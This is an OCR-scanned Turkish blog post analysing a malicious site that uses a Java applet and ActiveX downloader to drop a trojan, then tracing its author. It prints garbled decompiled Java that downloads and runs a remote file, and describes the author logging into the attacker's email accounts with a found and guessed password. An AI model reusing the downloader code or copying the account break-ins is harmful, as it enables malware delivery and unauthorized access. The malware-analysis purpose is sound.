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Aslinda bu haftaki yazim ic¢in Linux isletim sistemi Uzerinde zararli kod

analizi ile ilgili birseyler karalamaya karar vermistim. Incelemek icin &rnek
rootkit benzeri zararli bir kod ariyordum fakat daha sonra rootkit yerine
zombi bot amaciyla kullanilan zararli bir kod incelemenin daha faydali
olacagini disunerek aramaya koyuldum. Google arama motorunda bir kag¢ anahtar
kelime kullanarak arama gerceklestirirken rotayi Tirkce sitelere cevirdim ve
bir kac sorgu sonrasinda “botnet paylasim portali” anahtari kelimesi ile
arama yaptigimda, icerik olarak dikkatimi ceken ve bir foruma sahip olan web
adresi ile karsilastim. Foruma Firefox internet tarayicisi ile baglandigimda
404 hata mesaji ile karsilastim. Ana sayfayi ziyaret ettigimde ise karsima
pornografik gorsel icerige sahip bir sayfa cikti ve akabinde Java’nin
guvenlik uyarisi ile karsilastim. Java uyarisi bana dijital imzasi
dogrulanamayan bir java kodunu calistirmak isteyip istemedigimi soruyordu ve
isin ilginc¢ yani sitedeki direktifler kodu calistirmam yonlindeydi. Ana
sayfaya Internet Explorer internet tarayicisi ile baglandigimda ise bu defa
karsima oncelikle ActiveX eklenti yukleme uyarisi daha sonra ise Java

guvenlik uyarisi c¢ikti.
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Sayfanin kaynak kodunu inceledigimde ilk olarak unicode karakterlerden olusan
karakter dizisi daha sonra ise Java class dosyasi ve image.exe dosyasini
iceren web adresi dikkatimi c¢ekmisti.
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Ilk is olarak unicode karakterleri kaldirarak tim hex dederleri hex editdre
kopyalarak stringleri incelemeye basladim ve yuklenmesi Onerilen Activex'’in
bir downloader oldugunu ve indirilecek uygulama olarakta image.exe dosyasinin
parametre olarak belirtildigini farkettim. Ardindan Inico.class dosyasini
decompile ederek icerigine bakmaya karar verdim ve yine ayni sekilde url
parametresinde yer alan image.exe dosyasinin indirilip calistirilmak Uzere

kodlandigini gdrdim.
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byte buffer[] = new byte[10240]; Al el
String archivo = T =
System.out. println({new StringBuilder’-—------ Fanzmxzxsx " append(archivo) toString();
String ext = archiva. substring(archivo lastindexOf("."));
ext = ext toLowerCase();
File nuevo = File createTempFiI
FileOutputStream stream = new FileOutputStream(nuevo),;
URL ur = new URL(archivo);
URLConnection uc = ur.openConnection);
BufferedinputStream iz = new BufferedinputStream(uc. getinputStreamd));
int leidos;
while({leidos = is_read{buffer)) > 0)
strear.write(buffer, 0, leidos);
stream.closa();
iffext. contains(™ jar"))
Runtime. getRuntime (). exec{(new StringBuilder(String valueOfiSysterm. getPropenty("sun. boot library. path ")) append("yavaw. exe -jar \").append{nuevo. getAbsolutePath()) append(™"").toString());
else

try

FeE G .2 EQ R

Runtime. getRuntimei). exec{nuevo. getAbsolutePath());

BT Rl

H
catch{lOException g)

File f= File.createTernpFila("trp", " hat");
f.createMewFile();
f.deleteOnExiti);
Printyriter pw = new PrintWWriter();
pw. printin((new StringBuilder™"™). append(nuevo. getAbsolutePath()). append(™"™).toString());
pw.close();
[ Runtime. getRuntimed). exec{f. getAbsolutePathiy), |

T.delefe(];
) hel

public Iniciof) £}
public: void empagueta{thiows Exception {}
public: waid init] {}

Line: 50 Cal: 28 Madified | Mum lock: OFF Caps lack: OFF Insert: OFF 2,578 GB Free 20:18:06

Madem image.exe dosyasinin bu kadar indirilmesi isteniyor, art niyetli kisi
veya kisileri kirmayarak image.exe dosyasini indirip g6z atmaya karar verdim.
Dosya iner inmez ikonun sahte oldugu dikkatimi cekti.

) Downloads |Z| |E| El

I:i Iricio.class

| Search... ;|

Dosyanin 0zelliklerine baktigimda yazar bilgisinde snOx yazdigini gordim. Hex

editér ile dosyaya g6z attigimda ise winini.exe stringi dikkatimi c¢ekti. Snox
ve winini.exe anahtar kelimelerini Google arama motorunda arattigimda ise
dosyanin sifreleme programi ile sifrelendigi ve trojan olma ihtimalinin

yliksek oldugu anlasiliyordu.

Dosyay1l Immunity Debugger ile calistirdigimda gecerli bir PE dosyasi olmadigi
hatasini aldim. Dosyanin bozuk olma ihtimali oldugu gibi sanal makinada
calismamak Uzere tasarlanmis olma ihtimalide mevcuttu fakat bu yazimdaki amac



programi hazirlayan korsan hakkinda bilgi edinmek oldugu i¢in bu konunun
tUzerine egilmedim.

Bunun yerine bu sekilde tasarlanmis benzer baska bir site olup olmadigi
konusunda Google arama moturunda arama yapmaya karar verdim fakat oncelikle
arama ic¢in guzel bir anahtar kelimeye ihtiyacim vardi. Sayfanin kaynak
kodunda yer alan baslik (title) bilgisi bunun icin yeterliydi. Baslik (title)
bilgisinde yer alan web sitesi ve “Forra” kelimesi, programi hazirlayan
kisinin rumuzu hakkinda az cok bilgi veriyordu. Bu baslik bilgisi ile arama

yaptigimda karsima benzer bir sekilde tasarlanmis baska bir sayfa hemen
¢ikiverdi.

“FoRRa" - Google'da Ara - Mozilla Firefox

Fle Edt Yew Hstory EBookmarks Took Help
@ = O Gar | hiepsuens. google.com.trsear checlient=firefox-atrls=org mozila%34en-Us% 3Aofficialchannel=sthi=trasource=hpeo— - ForR o smeta=sbtnG 77 = | W+ oo
8] Most Visited |j Getting Started 5 | Latest Headlines

(I - . - ik .| | | ] (Udec) T ChThEa e
Web Girseller Haberler Cevii Bloglar Takvim Grmail diger v

Arama ayatlan | Oturum agin =

GOUgle I o9 FoRRa" = LA

Yaklagk 90 sonug (0,05 sanive)

Geligmis arama

5
ucu ramayl sadece Turkce diinde ya) rama yapacaginiz i lercinler lle secebilirsiniz,
*§ Her sey jpucu: Aramayi sadece Tiirkge dilinde yap. Arama yapacagmz dili Tercihler ile segebil
~| Dahafazla
Web 27 Mar 2010 ... Messages - 111. Threads : 8. Thanks : 10. Rat : Bifrost. FeRRa isimli Uye
gimdilik offline konumundadir, Arrow Disney On [ce %100 Fud ...
T”g’:y';f:gfz”m'? 5 12-postT Al - Ombellek
Sayfalann bulundugu FoRRaa Crypter Mod JaseBurM - © génderi - 5 Mis 2010 -
ilke: Torkiye Msn de Jpg gibi exe yollama - 9 ganderi - 19 War 2010

%100 Fud Crypter Scantime (1 Nisan) - 9 gonderi - 4 Sub 2010
cryptosuite.ory alanindan daha fazla sonug »
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Dane

Bu sayfayi Internet exporer internet tarayicisi ile ziyaret ettigimde ise
sadece Java guvenlik uyarisi ile karsilastim, ActiveX eklentisi sayfanin
kaynak kodunda yer almiyordu. Muhtemelen bu sayfa ilk ziyaret ettigim
sayfadan daha 6nce hazirlanmisti.
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Yonlendiriliyor...(Devam etmek icin Run butonuna basyn)

The application's digital signature cannot be verified. 1
Do you want to run the application?

Name: 5un Java Console
Publisher: Sun MicroSystems
rov:

[] Always trust content From this publisher,

Run Cancel

[7) ] The digital signature cannot be verified by a trusted source, Gnly
o/ rur if you brust the arigin of the applicstion.

Mare Information..,

Done

Bu sayfanin kaynak koduna baktigimda ise bu defa svchost.exe dosyasinin yer
aldigi bir adres oldugunu goérdim. Bu dosyanin PE baslik bilgisini
inceledigimde dosyanin 10 Nisan 2010 tarih damgasina sahip oldugunu gordim.
Image.exe dosyasinin tarih damgasi ise 29 Mayis 2010 tarihini goOsteriyordu.
Bu bilgiler dogrultusunda ilk ziyaret ettigim sayfanin daha gincel oldugunu
teyit etmis oldum. Svchost.exe dosyasini hex editor ile inceledigimde son
satirda yer alan e-posta adresi ve potansiyel e-posta sifresi dikkatimi
cekti.
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Bu e-posta adresine belirtilen sifre ile giris yapmayi denedigimde basarili



olamadim fakat kullanici adinin sonunda yer alan 0045 bilgisi bu zamana dek
bu kisinin 45 tane kullanici adi kayit etmis ve her dosya icin yeni bir e-
posta adresi kullanmis olma ihtimalini ortaya cikartmisti. Rastgele
gerceklestirdigim bir kac¢ giris denemesi sonrasinda 0030 ile giris yapabildim
ve bu kisinin Facebook lUzerinde hesap yarattigini ve muhtemelen bu hesap ile
Facebook uzerinden insanlari kandirarak bu iki sayfadan birini ziyaret

etmelerini ve zararli programi calistirmalarini saglamisti.
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Sonu¢ olarak amaciniz size zarar veren birinin izini surmek ve kanit toplamak
ise sizde bu veya benzer sekillerde biraz gayret ile bunu basarabilirsiniz.
Bunun disinda uyari olarak dogrulugundan emin olmadiginiz bir Activex
eklentisini veya Java kodunu calistirmadan once cok cok iyi disinmenizi
oneririm aksi durumda art niyetli kisilere ait bot aginin bir parcasi

olabilirsiniz.

Bir sonraki yazida go6rismek dilegiyle..



